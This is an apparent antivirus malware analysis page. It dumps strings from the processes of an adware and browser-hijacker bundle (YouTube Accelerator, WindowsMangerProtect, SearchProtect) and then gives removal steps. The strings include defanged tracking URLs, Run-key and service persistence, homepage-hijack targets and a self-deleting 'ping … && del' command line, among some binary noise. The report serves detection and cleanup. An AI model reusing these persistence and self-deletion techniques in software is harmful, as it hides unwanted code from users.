[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x (Temp)
[CSA_GUIApp::UpdateResourceDll] VAResTemp.dll file Path: %s
Res\VARes_%d\
[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x
[CSA_GUIApp::UpdateResourceDll] ___Error CreateDirectoryRecursivlyFromPath: %x
[CSA_GUIApp::UpdateResourceDll] Resources Folder: %s
VARes_%d\
[CSA_GUIApp::UpdateResourceDll] DllVer: %d, RegVer: %d, TmpVer: %d
ResOld.dll
ResTemp.dll
[CSA_GUIApp::UpdateResourceDll] ___Error GetPath: %x
[CSA_GUIApp::RunFinishHtml] GotoURL status is %d
[CSA_GUIApp::RunFinishHtml] Finish URL is : %s
hXXp://@BRAND_ID@.@[email protected]/finishinstall?
hXXp://rep.@[email protected]/app/ping.ashx
engine.dll
[CSA_GUIApp::FormatURL] URL: %s
&TrialDaysLeft=%d
?V=%s&pr=%d&Beta=%d&Emode=%d
[CSA_GUIApp::InitInstance] __Error m_pPipeEventThread = NULL
[CSA_GUIApp::InitInstance] Uninstall URL - GotoURL status is %d
[CSA_GUIApp::InitInstance] ___Error to load VideoAccelerator - CreateDialog Failed: %d
VA???.lng
[CSA_GUIDlg::OnShowTrayIcon] - m_TrayIcon.ShowIcon() Failed !!!
[CSA_GUIDlg::SetOpenMainWindowDisableFlag]bVal = %d
%s&OEM=%s
hXXp://@BRAND_ID@.@[email protected]/support/help
VIDEO_ACCELERATOR.MHT
[CSA_GUIDlg::ShowMenora] ___Error No lending url
[CSA_GUIDlg::OnMenoraOpen] ___Error url empty
[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned after Timeout, error %d
[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned failure %d, error %d
[CSA_GUIDlg::RunLspInstaller] Wait for LSP Installer process to complete for %d milsecs...
[CSA_GUIDlg::RunLspInstaller] Executing LSP Installer process: %s
-b -d %s
lspinst2.exe
lspinst.exe
CSABaseWebWindow::OnBeginDrag
CSABaseWebWindow::OnStopDrag
ECSABaseWebWindow::Navigate : url = %s
CSABaseWebWindow::OnNavigateError : url = %s
CSABaseWebWindow::OnNavigateComplete : url = %s
CSABaseWebWindow::OnDocumentComplete : url = %s
CSANotifierWebWindow::SetMetaData GOT 'height'
CSANotifierWebWindow::SetMetaData GOT 'width'
[CSANotifierWebWindow::ReplaceLNGTags] replacing "%s" with "%s" = "%s" from String table
[CSANotifierWebWindow::ReplaceLNGTags] ___Error no "%s" in String table, putting "%s"
[CSANotifierWebWindow::ReplaceLNGTags] ALT case replacing <STRING_GOES_HERE> at "%s" with "%s" = "%s" from String table
[CSANotifierWebWindow::ReplaceLNGTags] ___Error ALT case no "%s" in String table, putting "%s" instead of <STRING_GOES_HERE> at "%s"
[CSANotifierWebWindow::ReplaceLNGTags] length %d
[CSANotifierWebWindow::ReplaceLNGTags]
[CSANotifierMgr::GetAvaliableNotifier] Message %d is already displayed
ItweetMessage.mht
SilentTestFailed.mht
SilentTestSucceeded.mht
ITUNESMESSAGE.MHT
hXXp://VVV.fileratings.com/video/@PRODUCT_DOMAIN@/12/buyiTunes.asp
OldDriver.mht
Activation_Expired.mht
noupdates.mht
exiting.mht
va_on.mht
va_off.mht
dl_update.mht
update.mht
HD_DISABLED.MHT
ACCELERATION_NOT_SUPPORTED.MHT
now_accelerating.mht
ACCELERATION_NOT_SUPPORTED_CHECKBOX
ACCELERATION_NOT_SUPPORTED_BUTTON_OK
%d days left.
%d Days left
<d/d/%d d:d:d::d 0x%X>
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
\StringFileInfo\x\%s
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::BackupTraceFile] %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d
[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d
F[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d
[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d
[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d
[CServiceController::ChangeStartType] Name: %s
[CServiceController::ExecuteServer] Exit
[CServiceController::ExecuteServer] Enter
[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d
[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] Enter, %s
[CServiceController::Install] ___Error OpenService Failed: %d
[CServiceController::Install] ___Error QueryServiceStatus Failed: %d
[CServiceController::Install] ___Error CreateService Failed: %d
[CServiceController::Install] ___Error OpenSCManager Failed: %d
%s -%s -%s
%s\%s
[CServiceController::Install] ___Error GetModuleFileName Failed: %d
[CServiceController::Remove] ___Error OpenService Failed: %d
[CServiceController::Remove] ___Error OpenSCManager Failed: %d
[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d
[CServiceController::GetStatus] ___Error OpenService Failed: %d
[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d
[CServiceController::Start] The service %s was started
[CServiceController::Start] ___Error StartService Failed: %d
[CServiceController::Start] ___Error OpenService Failed: %d
[CServiceController::Start] ___Error OpenSCManager Failed: %d
[CServiceController::Start] Going to start the service %s
[CServiceController::Stop] The service %s was stopped
[CServiceController::Stop] ___Error ControlService Failed: %d
[CServiceController::Stop] ___Error OpenService Failed: %d
[CServiceController::Stop] Going to stop the service %s
[CServiceController::Stop] ___Error SetServiceStatus Failed: %d
[CServiceController::GetArgsFromCmd] Exit
[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE
[CServiceController::GetArgsFromCmd] Enter
[CServiceController::RunCommand] Args: %s
I[CSettingDlg::LoadEngine] ___Error to Create IHttpEngineConfiguration
[CSettingDlg::OnInitDialog] ___Error to Create IHttpEngineConfiguration
WININET.DLL
Gkernel32.dll
d/d/%d d:d:d::d
[CUtils::GoToURL] ___Error WinExec url = %s, defBrowser = %s, err = %d
"%s" "%s"
"%s" %s
[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl
[CVA_Alert::OnDeserialize] ___Error get m_URL
[ACCELINFO::OnDeserialize] ___Error get URL
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
zvl=%s&
%s?e=%s
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
Hcomctl32.dll
Hcomdlg32.dll
Hshell32.dll
accKeyboardShortcut
f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl
Afx:%p:%x:%p:%p:%p
Afx:%p:%x
commctrl_DragListMsg
Hf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
ntdll.dll
%s%s.dll
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp
mfcm90u.dll
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp
Jf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp
J.INI
J.com
DLG_%u
PID%u
les (x86)\YouTube Accelerator\YouTubeAccelerator.exe
Important:
Port:
Contact Our Support
See supported video sites
Join Today!
2.0.5.3
Watch YouTube and other web videos without pauses.
Twitter login
Password:
Enter your username and password for Twitter:
<div class="videoitem"><div class="videoimage"><div border" id="%s"><a href="%s" onmouseover="setBorder('%s','1');" onmouseout="setBorder('%s','0');"><img src="images/video/3.jpg" name="moreimg" width="68" /></a></div></div><div class="videotxt">%s</div>
Communications test failed.JWe believe it might be a Security / Firewall issue.
For additional information, contact our support at:
hXXp://@[email protected]/support/
hXXp://@[email protected]/support/VWe believe the problem might be caused by Karspersky antivirus.
hXXp://@[email protected]/support/
Enter port,Please enter a valid Port number (0 - 65536)UPlease enter a valid Domain name or IP address
(e.g. sample.proxy.com, 192.168.1.100)
@BRAND@ - Settings error!3{lX-X-x-XX-XXXXXX}!Get the premium video experience.!The premium web video experience.6Enjoy HD videos and iTunes purchases without the wait.P@BRAND@ Premium
lets you enjoy HD videos and iTunes downloads without the wait.XPlease Approve @BRAND@ in your Firewall and/or Antivirus to complete the Installation...
@BRAND@ECheck out the video %s from %s I'm watching it smoothly with @[email protected] out the video from %s I'm watching it smoothly with @BRAND@.!You are using %s - Translated by:
@BRAND@ is accelerating...#Restart required to change languageeYou have selected %s as VA's interface language.
@BRAND@ Trial version!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.
!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.
Normal video acceleration\Watch smooth web videos with bit rates up to 100 KBps without buffering & interruptions.
HD Video AccelerationNStop waiting while you watch HD web videos with high bit rates above 200 KBps.
Supported Video Sites
Every web video just got better
All Files (*.*)
No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.
#Unable to load mail system support.
3.3.8.9

ProtectWindowsManager.exe_3376:




.text
`.rdata
@.data
.rsrc
@.reloc
j.Yf;
_tcPVj@
.PjRW
SHELL32.dll
function not supported
operation canceled
address_family_not_supported
operation_in_progress
operation_not_supported
protocol_not_supported
operation_would_block
address family not supported
broken pipe
inappropriate io control operation
not supported
operation in progress
operation not permitted
operation not supported
operation would block
protocol not supported
GetProcessWindowStation
operator
MaxPolicyElementKey
pExecutionResource
SHLWAPI.dll
USERENV.dll
%dYeArdMoNthdDaY
file_url
GET %s%s%s HTTP/1.1
Host: %s
%sUser-Agent: Mozilla/4.0 %s
POST %s HTTP/1.1
%sContent-Type: %s
User-Agent: Mozilla/4.0
Content-Length: %u
%*s %d %*s
%*[ ]%[^
?456789:;<=
!"#$%&'()* ,-./0123
ShellExecuteExW
SHDeleteKeyW
GetWindowsDirectoryA
GetProcessHeap
GetSystemWindowsDirectoryW
KERNEL32.dll
USER32.dll
RegCreateKeyExW
RegCloseKey
RegOpenKeyExW
RegCreateKeyW
ReportEventW
RegOpenKeyW
ADVAPI32.dll
PSAPI.DLL
InternetCrackUrlW
WININET.dll
WS2_32.dll
WinHttpReceiveResponse
WinHttpSetTimeouts
WinHttpSetOption
WinHttpGetIEProxyConfigForCurrentUser
WinHttpSendRequest
WinHttpWriteData
WinHttpConnect
WinHttpCloseHandle
WinHttpQueryHeaders
WinHttpQueryDataAvailable
WinHttpOpen
WinHttpOpenRequest
WinHttpGetProxyForUrl
WinHttpCrackUrl
WinHttpReadData
WinHttpAddRequestHeaders
WINHTTP.dll
SensApi.dll
VERSION.dll
GetCPInfo
.?AVunsupported_os@Concurrency@@
.?AVinvalid_scheduler_policy_key@Concurrency@@
.?AVinvalid_operation@Concurrency@@
.?AVinvalid_oversubscribe_operation@Concurrency@@
.?AUITopologyExecutionResource@Concurrency@@
.?AVExecutionResource@details@Concurrency@@
.?AUIExecutionResource@Concurrency@@
.?AUIExecutionContext@Concurrency@@
zcÁ
.?AVCHttpClient@@
.?AVCTcpipSocket@@
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
? ?$?(?,?0?4?~?
5#505:5`5
=#='= =/=3=
;!;0;7;^;
<!<%<)<-<1<5<$=0=
9-92989?9
5 5$5(5,505
5 5$5(5,5054585
7$<(<,<0<4<8<<<@<
< <(<4<<<
3 3$3(3,30383<3
combase.dll
kernel32.dll
mscoree.dll
- CRT not initialized
- Attempt to initialize the CRT more than once.
- floating point support not loaded
USER32.DLL
portuguese-brazilian
advapi32.dll
\\.\PhysicalDrive%d
WindowsMangerProtect
SOFTWARE\supWindowsMangerProtect
xa.geoip
visit.heartbeat
hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action0=%s&action1=visit&action2=%s&update0=ref,%s&update1=nation,%s&update2=language,%s
hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=%s
hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=visit.heartbeat.%s
hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=visit.heartbeat.%s&update3=version,%s
Report Start.
C:\DoStartTEST.DAT
Report Heart beat.
ProtectWindowsManager.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
TypesSupported
%s is already installed
%s installed
%s failed to install. Error %d
%s is not installed
Could not remove %s. Error %d
WindowsProtectManger
Advapi32.dll
/c ping 127.0.0.1 -n 2 > nul && del
"%s" %s
psapi.dll
Explorer.exe
update.exe
%s_%s
\\.\Phys
hXXp://
Software\Microsoft\Windows\CurrentVersion\Internet Settings
http=
..\Src\json\src\json_value.cpp
..\Src\json\src\json_reader.cpp
xxxx
WinHttpClient
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
hXXp://xa.xingcloud.com
..\Src\json\src\json_writer.cpp
Assertion failed: %s, file %s, line %d
WindowsMangerProtect Service
C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe
WindowsMangerProtect service
SysTool PasSame LIMITED
Windows SysTool Service
20.0.0.1714
Windows SysTool.exe

ProtectService.exe_3856:




.text
`.rdata
@.data
.rsrc
@.reloc
GET %s%s%s HTTP/1.1
Host: %s
%sUser-Agent: Mozilla/4.0
POST %s HTTP/1.1
%sContent-Type: %s
User-Agent: Mozilla/4.0
Content-Length: %u
%*s %d %*s
%*[ ]%[^
?456789:;<=
!"#$%&'()* ,-./0123
file_url
E:\supsoft\SupSearchProtectV4\SearchProtect\Bin\Release\ProtectService.pdb
GetProcessHeap
GetSystemWindowsDirectoryW
KERNEL32.dll
USER32.dll
RegOpenKeyW
RegCloseKey
RegOpenKeyExW
RegCreateKeyExW
ADVAPI32.dll
SHELL32.dll
MSVCP110.dll
InternetCrackUrlW
WININET.dll
WS2_32.dll
SHLWAPI.dll
MSVCR110.dll
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
_calloc_crt
__crtGetShowWindowMode
_amsg_exit
_wcmdln
__crtSetUnhandledExceptionFilter
WinHttpCloseHandle
WinHttpOpen
WinHttpSetTimeouts
WinHttpCrackUrl
WinHttpConnect
WinHttpOpenRequest
WinHttpSetOption
WinHttpAddRequestHeaders
WinHttpSendRequest
WinHttpGetIEProxyConfigForCurrentUser
WinHttpGetProxyForUrl
WinHttpWriteData
WinHttpReceiveResponse
WinHttpQueryHeaders
WinHttpQueryDataAvailable
WinHttpReadData
WINHTTP.dll
SensApi.dll
VERSION.dll
PSAPI.DLL
USERENV.dll
.?AVCHttpClient@@
.?AVCTcpipSocket@@
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
2-2v2
hXXp://
Software\Microsoft\Windows\CurrentVersion\Internet Settings
http=
WinHttpClient
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
hXXp://xa.xingcloud.com
xxxx
%u_%u
%s_%s
%s_X
\\.\PhysicalDrive%d
UpDateProcess.exe
hXXp://VVV.theviilage.com/searchprotect/up?ptid=%s&sid=%s&ln=%s_%s&ver=%s&uid=%s&dp=%s
g{2EFFE99D-743D-44D0-BBF2-F9DDDEA2F92D}
Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex
Report HeartBeat
cmdshell.exe
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=visit.heartbeat.%s&update0=ref,%s&update1=nation,%s&update2=language,%s&update3=version,%s
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action0=xa.geoip&action1=visit&action2=install
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=uninstall
explorer.exe
Advapi32.dll
"%s" %s
psapi.dll
Explorer.exe
json_value.cpp
ljson_reader.cpp
ProtectSvc.exe
4.0.1.1716

HPNotify.exe_3804:




.text
`.rdata
@.data
.rsrc
@.reloc
<9%uo
wszUrl
strUrlTemp
hKEY
strSelUrl
strUrl
strConfUrlTemp
strDsUrl
strHpUrl
strCmdLine
tCPW
%UUUU
e_GetBrowserCurrentHpUrl
e_GetBrowserCurrentDsUrl
URLDownloadToFileW
URLDownloadToFileW ret:0XX
Error : %d
inflate 1.1.3 Copyright 1995-1998 Mark Adler
1.1.3
monochrome
unsupported bit depth
`'\%D,3
Run-Time Check Failure #%d - %s
%s%s%p%s%ld%s%d%s
%s%s%s%s
RegOpenKeyExW
RegCloseKey
del /s/q %1\*.*
%suninstall.bat
E:\supsoft\SupSearchProtectV4\SearchProtect\bin\Release\HPNotify.pdb
KERNEL32.dll
GetKeyState
USER32.dll
GDI32.dll
ADVAPI32.dll
ShellExecuteW
ShellExecuteA
ShellExecuteExW
SHELL32.dll
ole32.dll
OLEAUT32.dll
SHDeleteKeyW
SHLWAPI.dll
MSVCP110.dll
MSVCR110.dll
_calloc_crt
_CRT_RTC_INITW
__crtGetShowWindowMode
_amsg_exit
_wcmdln
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
__crtSetUnhandledExceptionFilter
GdiplusShutdown
gdiplus.dll
IMM32.dll
DeleteUrlCacheEntryW
WININET.dll
COMCTL32.dll
GetProcessHeap
#*1892 $
%,3:;4-&
.?AVCActiveXEnum@DuiLib@@
.?AVCWebBrowserUI@DuiLib@@
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />
3?3
1-2}2
77t7
9":,:6:@:
12u2
: :$:(:,:0:
4 4$4(4,404
>$?(?,?0?
2 2$2(2,20242
0 1@1\1|1
hXXp://VVV.bing.com/
hXXp://VVV.yahoo.com/
hXXp://VVV.google.com/
%sconf
web/?type=dspp&
web/?type=dspp
hXXp://VVV.v9.com/
Itemd
BrowserAction.dll
%u_%u
%s_%s
%s_X
\\.\PhysicalDrive%d
\\.\Scsi%d:
UrlEdit
conf.xml
hXXp://v9.com/license_agreement.html
hXXp://v9.com/privacy_policy.html
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.show.%s
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.other.%s
%stmp%d.tmp
urlmon.dll
main.xml
explorer.exe
Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex
IeWatchDog.dll
BrowerWatchFF.dll
BrowerWatchCH.dll
Global\GUID(6D05BFEC-4307-4649-8963-962A24345DF4)
msimg32.dll
User32.dll
WM_KEYDOWN
WM_KEYUP
WM_SYSKEYDOWN
WM_SYSKEYUP
0xX
keyboard
msftedit.dll
password
%s%s%s
Correct password required
%s\%s
WebBrowser
transshadow
transshadow1
dest='%d,%d,%d,%d'
dest='%d,%d,%d,%d' source='%d,%d,%d,%d'
source='%d,%d,%d,%d' dest='%d,%d,%d,%d'
M-d-d
WebBrowserUI
errorUrl
{D27CDB6E-AE6D-11CF-96B8-444553540000}
user32.dll
MSPDB110.DLL
ADVAPI32.DLL
/c ping 127.0.0.1 -n 2 > nul && del /s/q
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
%Program Files% (x86)\XTab\skin\
SupHPNot.exe
4,0,1,1716
SupHPNty.exe

WebPlayer.exe_2972:




.text
`.rdata
@.data
.rsrc
@.reloc
8%u:j
RegOpenKeyTransactedW
RegCreateKeyTransactedW
RegDeleteKeyTransactedW
operator
GetProcessWindowStation
KERNEL32.dll
EnumWindows
USER32.dll
GDI32.dll
RegOpenKeyExW
RegCreateKeyExW
RegDeleteKeyW
RegCloseKey
RegEnumKeyExW
RegQueryInfoKeyW
ADVAPI32.dll
SHELL32.dll
ole32.dll
OLEAUT32.dll
SHLWAPI.dll
COMCTL32.dll
urlmon.dll
GetProcessHeap
GetCPInfo
.?AVIKeyValueStorage@@
.?AVCWebPlayerEventsCallback@@
.?AVCComWebPlayer@@
.?AV?$CComCoClass@VCComWebPlayer@@$1?GUID_NULL@@3U_GUID@@B@ATL@@
.?AV?$IDispatchDynamicImpl@VCComWebPlayer@@@@
.?AV?$CComObject@VCComWebPlayer@@@ATL@@
.?AVCWebPlayerView@@
.?AV?$CWindowImpl@VCWebPlayerView@@V?$CAxWindowT@VCWindow@ATL@@@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@3@@ATL@@
.?AV?$CTrayIcon@VCWebPlayerView@@@@
.?AV?$IDispEventImpl@$00VCWebPlayerView@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B$1?LIBID_SHDocVw@@3U3@B$00$0A@VCComTypeInfoHolder@ATL@@@ATL@@
.?AV?$IDispEventSimpleImpl@$00VCWebPlayerView@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@
.?AV?$_IDispEventLocator@$00$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@
zcÁ
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
2 3$3(3,3
getWebBrowser
hXXps://
hXXp://
Advapi32.dll
Software\WebPlayer\
javascript.debug
javascript.show_errors
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
icons\main.ico
WebPlayerEngine
WebPlayer\
scripts\config.xml
window.placement
icons\tray.ico
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
mscoree.dll
KERNEL32.DLL
WUSER32.DLL
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe
&About WebPlayer
WebPlayer
Replace%Select the entire document
Arrange Icons/Arrange windows so they overlap
Cascade Windows5Arrange windows as non-overlapping tiles
Tile Windows5Arrange windows as non-overlapping tiles
Tile Windows(Split the active window into panes
1.1.0.0
WebPlayer.exe

IEXPLORE.EXE_148:




.text
`.data
.idata
.rsrc
@.reloc
u\j.Xf9
j.Xf9
USER32.dll
api-ms-win-downlevel-shell32-l1-1-0.dll
IEFRAME.dll
SHELL32.dll
iexplore.pdb
api-ms-win-downlevel-shlwapi-l1-1-0.dll
iertutil.dll
api-ms-win-downlevel-advapi32-l1-1-0.dll
KERNEL32.dll
msvcrt.dll
_wcmdln
_amsg_exit
RegOpenKeyExW
RegCloseKey
<!-- Note: This manifest needs to be kept in sync with iexplore.exe.manifest -->
<assemblyIdentity version="5.1.0.0"
name="Microsoft.InternetExplorer"
<windowsSettings>
<dpiAware xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
</windowsSettings>
<!--The ID below indicates application support for Windows 8 -->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
KEYW
.ENNNG.
a.ry.v
l.igM4
?1%SGf
xh.JW^
.97777"7" " " !
3.... )) 
8888888888888
8888888888
.lPV)
úW1
.ApX/
H.ZAf
ð[U
%s!FK
1YYYY1YY9GEAA=77YRNNNW:.VT1
888777777
Y.hilkRROMLK=C,
..(((($$
3...((((%
3....(.''$
3.2...((((%
33.2....(,'
55323222...
(%&'00443445?
00.,,,4(
000.,,9(
0020..9(
003200;(
(#'( (''''!'!
Microsoft.InternetExplorer.Default
Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe
{28fb17e0-d393-439d-9a21-9474a070473a}
imm32.dll
Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}
Kernel32.dll
"%s" %s
kernel32.dll
IEXPLORE.EXE
{00000000-0000-0000-0000-000000000000}
\\?\Volume
Imaging_CreateWebPagePreview_Perftrack
Browseui_Tabs_Tearoff_BetweenWindows
Browseui_Tabs_Tearoff_BetweenWindows_TabProc
Frame_URLEntered
Imaging_CreateWebPagePreview
WS_ExecuteQuery
Shdocvw_BaseBrowser_FireEvent_WindowStateChanged
IdleTask_Execution_Time
Shdocvw_BaseBrowser_FireEvent_BeforeScriptExecute
IMTravelLogMVC_TravelURL
10.00.9200.16521 (win8_gdr_soc_ie.130216-2100)
Windows
10.00.9200.16521

IEXPLORE.EXE_148_rwx_00FC6000_00001000:




api-ms-win-downlevel-shlwapi-l1-1-0.dll
iertutil.dll
api-ms-win-downlevel-advapi32-l1-1-0.dll
KERNEL32.dll
msvcrt.dll
_wcmdln
_amsg_exit
RegOpenKeyExW
RegCloseKey






Remove it with Ad-Aware




    

  1. Click (here) to download and install Ad-Aware Free Antivirus.
    2. 

  2. Update the definition files.
    3. 

  3. Run a full scan of your computer.
    4. 





Manual removal*




    

  1. Scan a system with an anti-rootkit tool.
    2. 

  2. Terminate malicious process(es) (How to End a Process With the Task Manager):
    

    BaofengUpdate.exe:1768
    BaofengUpdate.exe:1888
    YTAHelper.exe:3256
    ProtectWindowsManager.exe:3376
    ProtectWindowsManager.exe:580
    GLJE0FC.tmp:3368
    YouTubeAcceleratorService.exe:1940
    YouTubeAcceleratorService.exe:2644
    YouTubeAcceleratorService.exe:2416
    ins_postInst.exe:3184
    ProtectService.exe:3856
    ProtectService.exe:3260
    TPAutoConnSvc.exe:1776
    appshat.exe:3532
    biclient.exe:3640
    3F7F.tmp:820
    GLBE08E.tmp:3064
    wpm_v20.0.0.1714_0204.exe:3584
    webplayer_installer.exe:316
    ins_yta.exe:3976
    appshat_generic.exe:3520
    testlsp.exe:2408
    powershell.exe:3268
    powershell.exe:3060
    powershell.exe:3988
    setup.exe:2340
    setup.exe:1772
    HPNotify.exe:3804
    STab_Down_6.0.6.8.exe:1496
    cmdshell.exe:200
    ShopperPro.exe:1984
    %original file name%.exe:3304
    Devtf.exe:2136
    ins_shopperpro.exe:2888
    regsvr32.exe:3320
    regsvr32.exe:3020
    regsvr32.exe:1696
    regsvr32.exe:3180
    regsvr32.exe:2252
    regsvr32.exe:3528
    lspinst.exe:4088
    lspinst.exe:492
    af1bef35-aa27-4010-9003-02d835dca74d-4.exe:2184
    YTAHEL~1.EXE:3184
    DCytaiesmt_smtyc_setup.exe:3680
    cscript.exe:1472
    spbiu.exe:3804
    spbiu.exe:3956
    wscript.exe:3892
    XTab_v4.0.exe:2044
    4AD7.tmp:3976
    taskeng.exe:4092
    ytaiesmt_smtyc_setup.exe:3416
    jsdrv.exe:3472
    

    3. 

  3. Delete the original Application file.
    4. 

  4. Delete or disinfect the following files created/modified by the Application:
    

    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\quick_start.xul (1 bytes)
